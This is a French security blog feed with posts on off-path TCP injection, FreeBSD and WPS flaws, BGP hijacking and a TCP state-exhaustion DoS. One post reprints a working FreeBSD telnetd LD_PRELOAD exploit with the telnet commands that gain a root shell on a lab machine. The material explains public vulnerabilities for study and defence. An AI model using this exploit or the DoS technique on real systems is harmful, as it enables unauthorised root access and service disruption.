Making network protocols go crazy - Vulnérabilité 2016-03-31T08:13:27+02:00 gr urn:md5:823289cecb88b10a72ab37a35928e25d Dotclear Qu'est-ce que l'attaque "Off-Path TCP Sequence Number Inference" urn:md5:14dd8cbb799c31f7b003e24821395a5e 2012-07-12T14:20:00+02:00 2012-09-12T16:45:17+02:00 gr Vulnérabilité firewallprotocoletcp <p>Je suis récemment tombé sur un papier intitulé <em>Off-Path TCP Sequence Number Inference Attack - How Firewall Middleboxes Reduce Security</em> [1]. Je ne connaissais pas la classification <em>Off-path</em>, ou littéralement, <em>hors du chemin</em>. Du coup, j'ai regardé de plus près le contenu de celui-ci.</p> <p>[1] <a href="http://www.protocol-hacking.org/post/2012/07/12/" hreflang="en">http://web.eecs.umich.edu/~zhiyunq/pub/oakland12_TCP_sequence_number_inference.pdf</a></p> <p>Ce papier propose une nouvelle attaque pour injecter un contenu dans une session <em>TCP</em>, depuis le coté client (en mode non-privilégié). La faute serait sur les <em>middle-boxes</em>, telles que nos chères modems ADSL, par exemple, ou autres firewalls <em>NAT</em>ant. Plus précisémment, celles faisant du suivi de session en se basant sur l' <em>ISN</em> (<em>Initial Sequence Number</em>) de <em>TCP</em>. C'est ici que serait la faille, ce numéro pourrait fuire à cause d'une fuite d'information accessible en <em>off-path</em>.</p> <p>Pour qu'une session TCP ne soit pas facilement détournable, un numéro de séquence est généré aléatoirement (sur 32-bits). Si ce numéro venait à être prédictible, ou à fuire, un attaquant pourrait insérer un contenu dans la session. Bien sur, l'attaquant devra également connaitre les adresses IP source et destination, ainsi que les ports TCP source et destination.</p> <p>Qu'est-ce que l' <em>off-path</em>&nbsp;? C'est différent d'un <em>man-in-the-middle</em> dans le sens ou l'écoute se fait à coté de la communication. Ici, l' <em>off-path</em> se passe sur le poste client, via un malware. Par exemple, les informations IP/ports se trouvent en utilisant la commande <em>netstat</em>. Ensuite, un <em>side-channel</em> permet de découvrir l' <em>ISN</em> possible. Par l'envoi de segments <em>TCP</em> depuis l'extérieur (adresse IP spoofée) avec un <em>TTL</em> ajusté pour émettre un message d'erreur, et par la consultation des statistiques via le <em>/proc filesystem</em> en local, il est possible de savoir si le segment TCP est passé au travers du firewall (ou non). Si il est passé, l' <em>ISN</em> choisi est autorisé par le <em>firewall</em>. Toutes les infos en mains, l'injection dans une session existante est réalisable. Bon, après, il faut avoir le bon <em>timing</em>, mais des propositions concrêtes sont faites dans le papier [1] que je vous invite à lire.</p> <p>Plus techniquement, un <em>firewall</em> peut avoir plusieurs politiques pour accepter un segment TCP <em>out-of-order</em>, c'est à dire accepter s'il fait bien partie d'une session établie. En gros, l' <em>ISN</em> est dans la fenêtre (<em>TCP window</em>) ou non. Mais pour connaitre cette fenêtre, le <em>firewall</em> doit aussi garder cet état (tailles de la fenêtre initiale) depuis l'initialisation de la connexion TCP. Evidemment, pour des raisons de performance, ce n'est pas fait dans tous les produits. Du coup, certains <em>firewall</em>s utilisent une fenêtre hardcodée de 1 000 000 000 (1G), par exemple. Ca réduit l'espace des possibles. Il y a d'autres méthodes de suivi de l' <em>ISN</em>, je vous invite à lire le papier.</p> <p>En gros, tous les dispositifs se reposant sur le suivi de session utilisant l' <em>ISN</em> sont vulnérables de manière plus ou moins critique. Mais la contrainte pour exploiter cette menace est de taille, un malware (non privilégié) doit être installé sur le poste de la victime. Je serai un malware, je ferai autre chose qu'injecter du contenu dans une session <em>TCP</em> ;) genre installer un <em>plugin</em> navigateur Web pour avoir un accès lecture/écriture au contenu.</p> Comment ne pas couper à la tradition ... ou pas urn:md5:f4b81dd6301af97e8e84970745be74ae 2012-01-07T17:57:00+01:00 2012-04-26T08:53:39+02:00 gr Vulnérabilité 802.11freebsdtelnettelnetdwifiwps <p>C'est l'heure du billet annuel, pour vous souhaiter une belle et heureuse année 2012 en ces temps sombres.</p> <p>Je ne prends plus vraiment le temps de poster sur ce blog, ça reviendra peut-être. Pour l'heure, je passe deux informations pour ceux qui dorment sous les rochers (et l'hiver ça doit être dur). L'une portant sur une liste impressionnante de failles ciblant FreeBSD <strong>[1][2][3][4][5]</strong>, et l'autre concernant la faille Wi-Fi de l'année (2011, mais qui va occuper les gens en ce début d'année 2012) <strong>[6]</strong>.</p> <p>Pas moins de 5 avis de sécurité pour FreeBSD. Un 23 décembre. Il parait que certains sysadmins ont râlé. La plus grosse faille étant un <em>remote root</em> sur le serveur <em>telnet</em> <strong>[3]</strong> (et oui, encore <strong>[8]</strong>). Pas grave me direz-vous, puisque tout le monde utilise <em>SSH</em>. Fyodor (<em>nmap</em>) ne semble pas d'accord <strong>[7]</strong>. D'après ses résultats de <em>scan</em> à grande échelle sur Internet, <em>telnet</em> arrive avant <em>SSH</em> comme service de connexion à distance. Tous les systèmes utilisant une version de code <em>BSD-derived</em> sont impactés. Ca nous fait une belle liste, n'est-il pas&nbsp;? Il paraît que cette faille était là depuis plus de 12 ans. Miam.</p> <p>Pour le Wi-Fi, c'est une faiblesse dans l'algorithme d'authentification du <em>WPS</em> (<em>Wi-Fi Protected Setup</em>). Une faiblesse sympathique, puisqu'en à peine 11.000 tentatives, il est possible de s'authentifier sur un point d'accès supportant le <em>WPS</em>. Conséquence d'une attaque réussie&nbsp;: fuite de la clé Wi-Fi partagée. C'est beau.</p> <p>Sur ce, bonne fin de week-end. Et désactivez le <em>WPS</em> si votre équipement vous en offre la possibilité.</p> <ul> <li>[1] <a href="http://security.freebsd.org/advisories/FreeBSD-SA-11:06.bind.asc" hreflang="en" title="BIND">http://security.freebsd.org/advisories/FreeBSD-SA-11:06.bind.asc</a></li> <li>[2] <a href="http://security.freebsd.org/advisories/FreeBSD-SA-11:07.chroot.asc" hreflang="en" title="chroot">http://security.freebsd.org/advisories/FreeBSD-SA-11:07.chroot.asc</a></li> <li>[3] <a href="http://security.freebsd.org/advisories/FreeBSD-SA-11:08.telnetd.asc" hreflang="en" title="telnetd">http://security.freebsd.org/advisories/FreeBSD-SA-11:08.telnetd.asc</a></li> <li>[4] <a href="http://security.freebsd.org/advisories/FreeBSD-SA-11:09.pam_ssh.asc" hreflang="en" title="pam_ssh">http://security.freebsd.org/advisories/FreeBSD-SA-11:09.pam_ssh.asc</a></li> <li>[5] <a href="http://security.freebsd.org/advisories/FreeBSD-SA-11:10.pam.asc" hreflang="en" title="pam">http://security.freebsd.org/advisories/FreeBSD-SA-11:10.pam.asc</a></li> <li>[6] <a href="http://www.kb.cert.org/vuls/id/723755" hreflang="en" title="Wi-Fi Protected Setup (WPS) PIN brute force vulnerability">http://www.kb.cert.org/vuls/id/723755</a></li> <li>[7] <a href="http://nmap.org/presentations/BHDC08/" hreflang="en" title="Black Hat and Defcon 2008 Presentation Video and Slides">http://nmap.org/presentations/BHDC08/</a></li> <li>[8] <a href="http://www.protocol-hacking.org/post/2009/02/26/Wohaaa-un-remote-root-old-school-%3A" hreflang="en" title="Wohaaa, un remote root old school :)">http://www.protocol-hacking.org/post/2009/02/26/Wohaaa-un-remote-root-old-school-%3A</a></li> </ul> Wohaaa, un remote root old school :) urn:md5:2a5e5e89f5a0f811ab57dc173c883619 2009-06-10T21:49:00+02:00 2012-04-24T08:49:24+02:00 gr Vulnérabilité FreeBSDtelnettelnetd <p>Le 16 février 2009, une vulnérabilité <em>old school</em> est tombée sur <em>telnetd</em> de FreeBSD [1]. L'inventeur de la faille (Kingcope) a émis l'hypothèse d'une exploitation possible en <em>remote</em>. Je vous propose d'étudier la faisabilité de l'idée.</p> <p>Première chose, avoir un FreeBSD vulnérable [2]. Ça tombe bien, j'ai un <em>7.1-RELEASE</em> qui traine dans une VM. On active tout d'abord le <em>telnetd</em> dans <em>/etc/inetd.conf</em>, et on démarre <em>inetd</em>. Mais qui ose encore activer <em>telnetd</em>, si ce n'est pour exploiter des vulnérabilités ou pour prouver que c'est un protocole <em>clear-text</em>&nbsp;? Ben y'a quand même des gens (<em>hint</em>&nbsp;: scannez Internet).</p> <p>Deuxième chose, pouvoir compiler du code exécutable par un FreeBSD/x86. J'ai ça aussi. L' <em>exploit</em> est on ne peut plus trivial&nbsp;:</p> <pre> // FreeBSD telnetd local/remote privilege escalation/code execution // remote root only when accessible ftp or similar available // tested on FreeBSD 7.0-RELEASE // by Kingcope/2009 #include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;stdlib.h&gt; void _init() { FILE *f; setenv(&quot;LD_PRELOAD&quot;, &quot;&quot;, 1); system(&quot;echo GomoR was here;/bin/sh&quot;); } </pre> <p>Je passe les détails sur comment compiler ce code, c'est expliqué dans le message de Kingcope. Par contre, une explication rapide sur le contenu. La fonction <em>_init()</em> est une fonction appelée par tous les binaires (au moins ceux au format <em>ELF</em>). Pour être exact, la fonction <em>_init()</em> est intégré dans la section <em>.init</em> du binaire à la compilation. Cette section contient des fonctions qui seront exécutées au démarrage du binaire. Voyez ci-dessus la sortie de la commande <em>objdump</em> attestant que le binaire <em>telnetd</em> possède une section <em>.init</em>&nbsp;:</p> <pre> % objdump -h /usr/libexec/telnetd |grep init 9 .init 00000011 08049cf0 08049cf0 00001cf0 2**2 </pre> <p>Dans notre cas, la nouvelle fonction <em>_init()</em> va exécuter un <em>shell</em>. Maintenant, ça ne constitue pas une faille en soit, vous me direz. C'est là qu'intervient la variable d'environnement <em>LD_PRELOAD</em>. Cette variable permet de charger une nouvelle bibliothèque avant l'exécution d'un programme, pour "écraser" une fonction interne de ce programme. Notre <em>exploit</em> va ainsi remplacer la fonction <em>_init()</em> du binaire <em>telnetd</em> par la sienne, qui exécute un <em>shell</em>. Il va également supprimer cette variable d'environnement, sinon nous avons une jolie boucle infinie de chargement de la bibliothèque. Mais pour que ça marche, il faut aussi que le binaire "victime" soit compilé en dynamique&nbsp;:</p> <pre> % file /usr/libexec/telnetd /usr/libexec/telnetd: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 7.1, dynamically linked (uses shared libs), FreeBSD-style, stripped </pre> <p>Parfait. Là encore, ça ne constitue pas une faille en soit. La vraie faille est que <em>telnetd</em> ne nettoie pas bien toutes ses variables d'environnement (fournies soit par le <em>shell</em> appelant, soit par le protocole <em>telnet</em>, nous y reviendrons). Les failles <em>LD_PRELOAD</em>, ça, c'est du <em>old school</em>.</p> <p>Passons à la pratique, l'exploitation à proprement parlée. <em>silenoz</em> est l'attaquant, <em>legion</em> la victime&nbsp;:</p> <pre> silenoz ~ % telnet telnet&gt; auth disable SRA telnet&gt; environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet&gt; open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) Connection closed by foreign host. </pre> <p><em>Exploit: FAIL</em>. Pourquoi ça&nbsp;? Et bien parce que notre méchante bibliothèque n'est présente qu'en local (sur <em>silenoz</em>), et non pas sur la machine <em>legion</em>. Uploadons la méchante bibliothèque sur la cible, et retentons&nbsp;:</p> <pre> silenoz ~ % telnet telnet&gt; auth disable SRA telnet&gt; environ define LD_PRELOAD /tmp/libno_ex.so.1.0 telnet&gt; open legion Trying 192.168.1.10... Connected to legion.enslaved.lan. Escape character is '^]'. FreeBSD/i386 (legion.enslaved.lan) (ttypd) GomoR was here # id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator) # hostname legion.enslaved.lan # </pre> <p>Voilà qui est mieux :) Et voyons le contenu du packet du protocole <em>telnet</em> qui place la variable d'environnement&nbsp;:</p> <pre> 0040 ff fa 20 00 33 38 34 30 30 2c 33 38 34 30 .. .38 400,3840 0050 30 ff f0 ff fa 27 00 03 4c 44 5f 50 52 45 4c 4f 0....'.. LD_PRELO 0060 41 44 01 2f 74 6d 70 2f 6c 69 62 6e 6f 5f 65 78 AD./tmp/ libno_ex 0070 2e 73 6f 2e 31 2e 30 00 55 53 45 52 01 67 6f 6d .so.1.0. USER.gom 0080 6f 72 ff f0 ff fa 18 00 58 54 45 52 4d ff f0 or...... XTERM.. </pre> <p>Une option du protocole <em>telnet</em> permet de placer des variables d'environnement à distance. Terriblement dangereux, mais terriblement utile. Qui parle de <em>X display</em>&nbsp;? Qui a encore dit terriblement dangereux&nbsp;? M'enfin bon, ça existe.</p> <p>Pour conclure sur le sujet, la faille a été réintroduite avec FreeBSD <em>7.0-RELEASE</em>. Régression. Ça arrive, même aux meilleurs. A moins qu'il n'existe déjà sur le système attaqué une bibliothèque possédant une fonction qui exécute une commande malicieuse (en gros, une fonction <em>_init()</em>), cette faille n'est pas exploitable en <em>remote</em>. Donc, <em>very unlikely</em>. Sauf si, bien sûr, vous pouvez <em>uploader</em> un fichier arbitraire sur la cible. Genre par un serveur Web avec un applicatif troué.</p> <p>[1] "<a href="http://www.protocol-hacking.org/post/2009/02/26/Full-disclosure" title="Full-disclosure">Full-disclosure</a> FreeBSD zeroday" - <a href="http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html" hreflang="en">http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2009-02/msg00181.html</a></p> <p>[2] "telnetd code execution vulnerability" - <a href="http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc" hreflang="en">http://security.freebsd.org/advisories/FreeBSD-SA-09:05.telnetd.asc</a></p> Man in the middle sur Internet, ça coûte cher ça ? urn:md5:b30f2e13d63dba86e567a39ea34dbf0e 2008-11-14T18:48:00+01:00 2012-08-09T14:22:04+02:00 gr Vulnérabilité BGPnews <p>Aujourd'hui, je vais vous parler de BGP (Border Gateway Protocol). Je sais, c'est old news, on en a parlé au DEFCON[1] cet été. Avant de me dire que vous en avez entendu parler ad noseum[2], lisez la suite. Dans ce billet, je vais d'abord citer les faits historiques (pour ceux qui dormaient sous un rocher depuis plusieurs mois), puis je vais chercher à savoir combien ça coûte de hijacker une route BGP.</p> <p>Les faits. BGP est un protocole de routage inter-AS (Autonomous Systems). Un AS est généralement sous une unique autorité administrative. Les AS doivent dialoguer les uns avec les autres, et entretenir une certaine relation de confiance. Cette relation existe pour que l'échange de routes soit possible, afin que chaque sous-réseau composant Internet puisse être accessible depuis n'importe quel point d'Internet. BGP est donc le protocole permettant l'échange de ces routes entre deux AS. Ensuite, chaque AS "répercute" les routes échangées avec ses AS voisins, jusqu'à ce que tous les AS de la planète connaissent l'existence de ces routes.</p> <p>Cet été, les chercheurs[3] Kapela et Pilosov ont montré que le détournement de routes via BGP était à la portée de n'importe qui. En effet, nul besoin d'un "exploit" de haut niveau, ni de grande compétence. Juste de posséder un AS. Le fait que les routes sont répercutées d'AS en AS est là la seule faille, si tant est que l'on puisse considérer qu'il y en ait une. Pour ceux qui sont durs de la comprenette, ça veut dire qu'on peut écouter le trafic de n'importe qui. Lisez&nbsp;: utilisez SSL/SSH/IPSec/whatever pour éviter que vos mots de passe transitent en clair sur Internet. Il est largement temps de supprimer tous ces vieux protocoles qui laissent passer des données confidentielles en clair sur Internet.</p> <p>L'autorité de régulation des télécoms Pakistanaise[4] a voulu utiliser cette "feature" pour bloquer l'accès à YouTube dans son pays, à cause d'une vidéo "blasphématoire". Ils ont donc décidé d'annoncer la route menant à YouTube comme étant nulle dans leur AS. Dommage, les routes se sont propagées sur toute la planète, et plus personne ne pouvait accéder à YouTube.</p> <p>L'autre conséquence possible, celle montrée par les chercheurs à DEFCON, permet un man in the middle à l'échelle planétaire. Tout simplement. Ils ont re-routés en live le trafic de DEFCON vers leur AS, ont pu sniffer à en provoquer une overdose, tout en re-routant le trafic de leur AS vers DEFCON. Ni vu, ni connu. Enfin presque. Certains penseront qu'un traceroute permettrait de révéler la supercherie, mais en modifiant le TTL des packets du traceroute, le nouveau hop redevient invisible. Et c'est surtout en cela que leur présentation était "nouvelle".</p> <p>Ok. So now, est-ce que moi, citoyen lambda, je peux re-router le réseau de mon choix pour espionner le trafic à moindre coup&nbsp;? La réponse est malheureusement oui. Je ne vais pas faire de pub, mais un grand hébergeur français loue des AS "full BGP" pour 100 € HT par mois. Évidemment, je n'ai pas envie de dépenser cette somme pour valider l'attaque, mais le cœur y est, je vous l'assure. Maintenant, pour louer un AS, il y a des contraintes administratives, et votre identité sera très probablement révélée à cet hébergeur. L'aspect anonymisation de l'attaque ne sera, bien sûr, pas abordé ici.</p> <p>Ce billet ne serait pas complet si je n'abordais pas les solutions. La solution parfaite&nbsp;: S-BGP, tout le monde s'authentifie, et chaque AS est capable d'avoir une vraie confiance en ses voisins. Et les voisins de ses voisins aussi. Mais c'est pire que DNSSEC a déployer. Il ne reste plus que les solutions actuelles&nbsp;: le monitoring[5] de routes, pour détecter quand quelqu'un annonce "par mégarde" le préfixe d'un réseau qui n'est pas le sien. Ça me rappelle les logs des systèmes ou des IDS. C'est bien, mais il faut les lire.</p> <p>[1] DEFCON 16 Media Archive - <a href="https://www.defcon.org/html/links/defcon-media-archives.html" hreflang="en">https://www.defcon.org/html/links/defcon-media-archives.html</a></p> <p>[2] DEFCON 16 Press Release - <a href="https://www.defcon.org/html/links/dc_press/dc_press.html" hreflang="en">https://www.defcon.org/html/links/dc_press/dc_press.html</a></p> <p>[3] Présentation sous le titre "Stealing The Internet - A Routed, Wide-area, Man in the Middle Attack" - <a href="https://www.defcon.org/html/links/defcon-media-archives.html" hreflang="en">https://www.defcon.org/html/links/defcon-media-archives.html</a></p> <p>[4] Pakistan lifts the ban on YouTube - <a href="http://news.bbc.co.uk/1/hi/technology/7262071.stm" hreflang="en">http://news.bbc.co.uk/1/hi/technology/7262071.stm</a></p> <p>[5] BGP monitoring and analyzer tool - <a href="http://bgpmon.net/" hreflang="en">http://bgpmon.net/</a></p> Déni de service universel dans TCP urn:md5:608e65b48ab9df2c60cc7f3681e8d211 2008-10-14T23:36:00+02:00 2012-08-09T14:21:56+02:00 gr Vulnérabilité DoStcp <p>Bon, difficile d'y échapper, surtout à quelques jours de la diffusion des <a href="http://www.t2.fi/schedule/2008/" hreflang="en">détails</a>. Ce billet fait suite à l'annonce vu sur le <a href="http://blog.robertlee.name/2008/08/updates.html" hreflang="en">blog</a> des chercheurs de chez <a href="http://www.outpost24.com/" hreflang="en">Outpost24</a> relatant une nouvelle faille dans le design du protocole le plus utilisé dans l'Internet.</p> <p>Cette faille, si l'on en croit le peu qui a pu filtrer, porte sur la gestion de la machine à état de TCP. En amenant cette machine dans un certain état, il serait possible de bloquer de l'allocation mémoire sur le système cible, finissant par saturer sa mémoire. Ou bien de saturer sa bande passante. Seulement 200 packets par secondes seraient même suffisant. Tous les systèmes d'exploitation seraient affectés. Well. Want to see that.</p> <p>Du coup, je me suis (re)penché sur des techniques aussi vieilles que <a href="http://www.cert.org/advisories/CA-2000-21.html" hreflang="en">Naphta</a>, en y apportant certaines modifications. Je ne vais pas faire un billet complet sur Naphta, mais en gros, Naphta amène la pile TCP/IP cible soit dans l'état ESTABLISHED, soit dans l'état FIN_WAIT_1 pour accomplir sa sombre tâche de destruction.</p> <p>Une des dernières hypothèses sur le sujet était une évolution de Naphta, avec en plus l'envoi d'un payload applicatif vers la cible. En n'acquittant pas la réponse obtenue à une requête applicative, la cible va réémettre de nombreuses fois sa réponse, saturant un peu plus sa bande passante ainsi que sa mémoire (le tampon de réponse n'étant jamais libéré).</p> <p>Faisons un rapide calcul. Soit une adresse IP ouvrant 60 000 connexions vers un serveur Apache. Imaginons que chacune de ces connexions entraîne l'émission d'une réponse HTTP d'environ 2 ko (chiffre arbitraire, mais je le prends comme moyenne acceptable). 60 000 x 2, soit 120 Mo. Outre le fait que je vais me prendre 120 Mo de trafic dans la tronche, la cible risque fort de garder 120 Mo de tampon alloués en mémoire. Et oui, puisque je n'acquitterai pas (au sens TCP ACK), la cible va garder ça dans un tampon, et réémettre à certains intervalles ce packet (et encore me balancer 120 Mo dans la tronche).</p> <p>Vous allez me dire&nbsp;: la cible supportera certainement 120 Mo dans sa mémoire et sur sa bande passante. Par contre moi ... Maintenant, multipliez ce nombre par 10. 10 machines lançant cette attaque. En cherchant un peu, il est possible (hypothèse de ma part) que les chercheurs en question utilisent plusieurs adresses IP sources pour leur attaque. D'abord pour contourner la limitation de bande passante de l'attaquant, ensuite pour contourner la limitation des 60 000 (65 535, en fait) connexions correspondant au tuple adresseSource,portSource,adresseDestination,portDestination. Là, on atteint 1 Go pour 10 IP. 10 Go pour 100 IP. Ca à l'air pas mal.</p> <p>Ainsi, j'ai développé un programme en utilisant mon framework préféré (<a href="http://search.cpan.org/~gomor/Net-Frame/" hreflang="en">Net::Frame</a>) pour tester l'efficacité des ces attaques. Mais comme ce soir, j'ai la flemme de mettre ça au propre, ce sera peut-être l'objet d'un autre billet.</p>